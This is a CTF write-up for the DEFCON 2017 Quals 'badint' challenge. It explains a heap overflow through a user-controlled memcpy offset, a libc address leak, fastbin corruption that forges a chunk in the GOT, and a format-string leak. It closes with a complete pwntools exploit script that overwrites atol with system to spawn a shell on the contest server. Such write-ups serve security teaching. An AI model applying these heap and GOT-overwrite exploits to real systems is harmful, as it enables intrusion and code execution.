Hacking Tube

DEFCON CTF 2017 Quals -- badint

| Comments

Category: Potent Pwnables

64 bit ELF, Partial RELRO, NX enabled, No canary & PIE. libc not provided.

This C++ program will read some input from user, then store the data into the heap memory:

$ ./badint 
SEQ #: 0
Offset: 0
LSF Yes/No: Yes
RX PDU [0] [len=4]
Assembled [seq: 0]: aaaaaa0a

SEQ #: 

Notice that if we input data AAAA, the program will convert AAAA to 0xaaaa.

According to my teammate, the following input will crash the program:

SEQ #: 1
Offset: 0
Data: 0000000000000000000000000000000000000000000000000000000000000
LSF Yes/No: Yes
RX PDU [1] [len=31]
Assembled [seq: 1]: 00000000000000000000000000000000000000000000000000000000000000

SEQ #: 1
Offset: 0
Data: 111111111111111111111111111111111111111
LSF Yes/No: Yes
RX PDU [1] [len=20]
Assembled [seq: 1]: 1111111111111111111111111111111111111101

SEQ #: 1
Offset: 18
Data: 22222222222222222222222
LSF Yes/No: Yes
RX PDU [1] [len=12]
Assembled [seq: 1]: 000000000000000022222202

*** Error in `./badint': free(): invalid next size (fast): 0x000000000224a0c0 ***

After done some analyzing, we found the vulnerability:

 len = (unsigned __int8)get_len(cur_obj);
 data = (const void *)get_data(cur_obj);
 offset = get_offset(cur_obj);
 memcpy((void *)(offset + new_buf), data, len); // <-- Here !!

The program use memcpy(new_buf + offset, data, len) to copy the input data into a heap buffer. The variable offet can be controlled by us, and thus lead to a heap overflow vulnerability. The program crashed due to the size metadata was overwritten into an invalid size, causing the free() function aborted the program.

Now we spot the vulnerability, time to exploit the service. First we'll have to leak some address. Here I leaked the libc's address by doing the following:

$ ./badint 
SEQ #: 1
Offset: 8
Data: 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
LSF Yes/No: Yes
RX PDU [1] [len=144]
Assembled [seq: 1]: 788ba4952b7f000011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

SEQ #:

Here we set the offset to 8, so the data we input will copy to heap_buf+8. heap_buf is a chunk in unsortbin which will be allocated for storing our input data, and thus its fd & bk will contain the address of main_arena+88. We copy the data to heap_buf+8, means that fd will not be overwritten, and so we could leak the libc's address by printing out the assembled data.

The next step is to try hijack the program control flow. Here I decided to use the fastbin corruption attack. First we'll have to arrange the following heap memory layout:

gdb-peda$ hip
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0xc26cc0 --> 0x0
(0x40)     fastbin[2]: 0xc26c80 --> 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0xc26c20 --> 0x0   
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0xc26f10 (size : 0x1c0f0) 
       last_remainder: 0xc26e00 (size : 0x50) 
            unsortbin: 0x0

By using the amazing angelheap from Pwngdb, we could see that there's a chunk in fastbin[4](size = 0x60), and a chunk in fastbin[2](size = 0x40).

Then, we allocate the chunk in fastbin[4], and copy our data into the chunk. Since there's a heap overflow vulnerability, we can actually overwrite the data in chunk @ fastbin[2] -- by setting the offet variable to 0x60 ( 0xc26c20 + 0x60 = 0xc26c80 ). We overwrite the fd pointer in chunk @ fastbin[2], making it point to the GOT area. This is because in an x64 non-PIE binary, its GOT entries will contain some address which start with 0x40 (if the function hasn't been resolved yet):

gdb-peda$ tel 0x604018
00:0000|  0x604018 --> 0x7fbdea10c800 (<__printf>:      sub    rsp,0xd8)
01:0008|  0x604020 --> 0x400ab6 (<__gmon_start__@plt+6>:        push   0x1)
02:0016|  0x604028 --> 0x7fbdea126690 (<_IO_puts>:      push   r12)
03:0024|  0x604030 --> 0x7fbdea723f10 (<operator new[](unsigned long)>: sub    rsp,0x8)
04:0032|  0x604038 --> 0x7fbdea721f10 (<operator delete(void*)>:        jmp    0x7fbdea71ddb0 <free@plt>)
05:0040|  0x604040 --> 0x7fbdea126e70 (<__GI__IO_setvbuf>:      push   rbp)
06:0048|  0x604048 --> 0x400b06 (<fopen@plt+6>: push   0x6)
07:0056|  0x604050 --> 0x7fbdea0d7740 (<__libc_start_main>:     push   r14)

If we off-set the memory layout in the GOT area, we could found that it actually has some good fastbin[2](again, size = 0x40) chunks:

0x604042 <setvbuf@got.plt+2>:   0x0b0600007fbdea12      0x7740000000000040  <-- here
0x604052 <__libc_start_main@got.plt+2>: 0x4ad000007fbdea0d      0x1b7000007fbdea12
0x604062 <strlen@got.plt+2>:    0xdea000007fbdea14      0xc3c000007fbdea0e
0x604072 <signal@got.plt+2>:    0x0b6600007fbdea0e      0x2650000000000040 <-- here
0x604082 <alarm@got.plt+2>:     0x0b8600007fbdea18      0x0b96000000000040 <-- here
0x604092 <dlsym@got.plt+2>:     0x0ba6000000000040      0x0bb6000000000040 <-- and here !

While allocating a fastbin chunk, malloc.c will only check if its size is valid. For example, a chunk in fastbin[2] must have a size of 0x4X ( yep, even a size of 0x4f will still pass the check). So, after we overwrite the fd pointer in the chunk @ fastbin[2]:

gdb-peda$ hip
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x1da3cc0 --> 0x0
(0x40)     fastbin[2]: 0x1da3c80 --> 0x604042 (size error (0xc740000000000040)) --> 0x9ad000007f5e059a (invaild memory)
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x1da3c20 --> 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x1da3f80 (size : 0x1c080) 
       last_remainder: 0x1da3e00 (size : 0x50) 
            unsortbin: 0x0

We could see that fastbin[2] will have a fake chunk @ 0x604042 ( no need to worry about the size, malloc.c will only check the size with type unsigned int , just focus on the first 4 bytes ).

Later we could just allocate the chunk in fastbin[2]. Once we allocate 0x604042, we'll be able to overwrite the GOT entry by copying our data into the fake fastbin chunk.

But there's one more problem: we don't know the version of the libc. The libc address we leaked is the address of main_arena+88, neither libc-database nor libcdb.com can find the libc version with this symbol's address.

So we'll have to leak more addresses. However, although we can modify a function's GOT, there's no way we can store a GOT entry's address in the function parameter. Luckily, I still managed to figure out the solution: by using the format string vulnerability.

We could modify atol@got.plt into printf@got.plt, which will turn atol(our_input) into printf(our_input), thus we create a format string vulnerability, and we can use the vulnerability to leak an arbitrary address. By doing this, I was able to leak some GOT entries and found the correct version of libc at libcdb.com. After that is simple, we could just hijack atol's GOT and call system('sh') by entering "sh".

#!/usr/bin/env python

from pwn import *
import subprocess
import sys
import time

HOST = "badint_7312a689cf32f397727635e8be495322.quals.shallweplayaga.me"
PORT = 21813
ELF_PATH = "./badint"
#LIBC_PATH = "/lib/x86_64-linux-gnu/libc.so.6"

LIBC_PATH = "./libc-2.19_15.so"

context.binary = ELF_PATH
context.log_level = 'INFO' # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']

context.terminal = ['tmux', 'splitw'] # for gdb.attach

elf = context.binary # context.binary is an ELF object


def add_data(seq, off, data, lsf):
    r.sendlineafter("SEQ #:", str(seq))
    r.sendlineafter("Offset: ", str(off))
    r.sendlineafter("Data: ", data)
    r.sendlineafter("Yes/No: ", lsf)

def convert(num):
    ret = ""
    while num != 0:
        now = num & 0xff
        num >>= 8
        ret = ret + '{:02x}'.format(now)
    return ret.ljust(16, "0")

if __name__ == "__main__":
    r = remote(HOST, PORT)
    #r = process(ELF_PATH)

    add_data(1, 8, "1"*0x90*2, 'Yes')
    r.recvuntil("Assembled [seq: 1]: ")
    # leak libc address

    addr = 0
    for i in xrange(6):
        addr |= ((int(r.recv(2), 16)) << (i*8))
    log.success("addr: " +hex(addr))
    # libc.address = addr - 0x3c3b78 # local

    libc.address = addr - 0x3be7b8 # remote

    log.success("libc_base: " +hex(libc.address))
    # gdb.attach(r, gdbscript=open('./ggg', 'r'))

    # arrange heap

    add_data(2, 0, "2"*0xb0*2, 'Yes')
    add_data(2, 0, "3"*0x58*2, 'Yes')
    add_data(2, 0, "4"*0x38*2, 'Yes')
    # overwrite fastbin->fd ( in size 0x40 )

    payload = convert(0x41)
    payload += convert(0x604042)
    payload += convert(0) * 6
    payload += convert(0x31)
    payload = payload.ljust(0x58*2, '0')
    add_data(2, 0x60-0x8, payload, 'Yes')
    # now fastbin (size=0x40) has fake chunk @ got

    # allocate the fake chunk

    # overwrite got

    payload = "6"*12 # libc_start_main

    payload += convert(0x400b26) # resolve fgets

    payload += convert(0x400b36) # resolve strlen

    payload += convert(libc.symbols['system']) # hijack atol

    #payload += convert(elf.plt['printf']) # use format string to leak libc info

    payload = payload.ljust(110, '0')
    add_data(3, 8, payload, 'No')
    # hijack atol, send "sh" to get shell

    r.sendlineafter("SEQ #:", "sh")
    log.success("get shell!: ")

    # for exploiting format string & leak libc info

    payload = "%10$s.%p.%p.%p.%p.%p.%p.%p.%p.%p" + p64(elf.got['fgets'])
    r.sendlineafter("SEQ #:", payload)
    print "fgets:", hex(u64(r.recv(6).ljust(8, '\x00')))
    payload = "%10$s.%p.%p.%p.%p.%p.%p.%p.%p.%p" + p64(elf.got['puts'])
    r.sendlineafter("Offset:", payload)
    print "puts:", hex(u64(r.recv(6).ljust(8, '\x00')))

flag: All ints are not the same... A239... Some can be bad ints!


comments powered by Disqus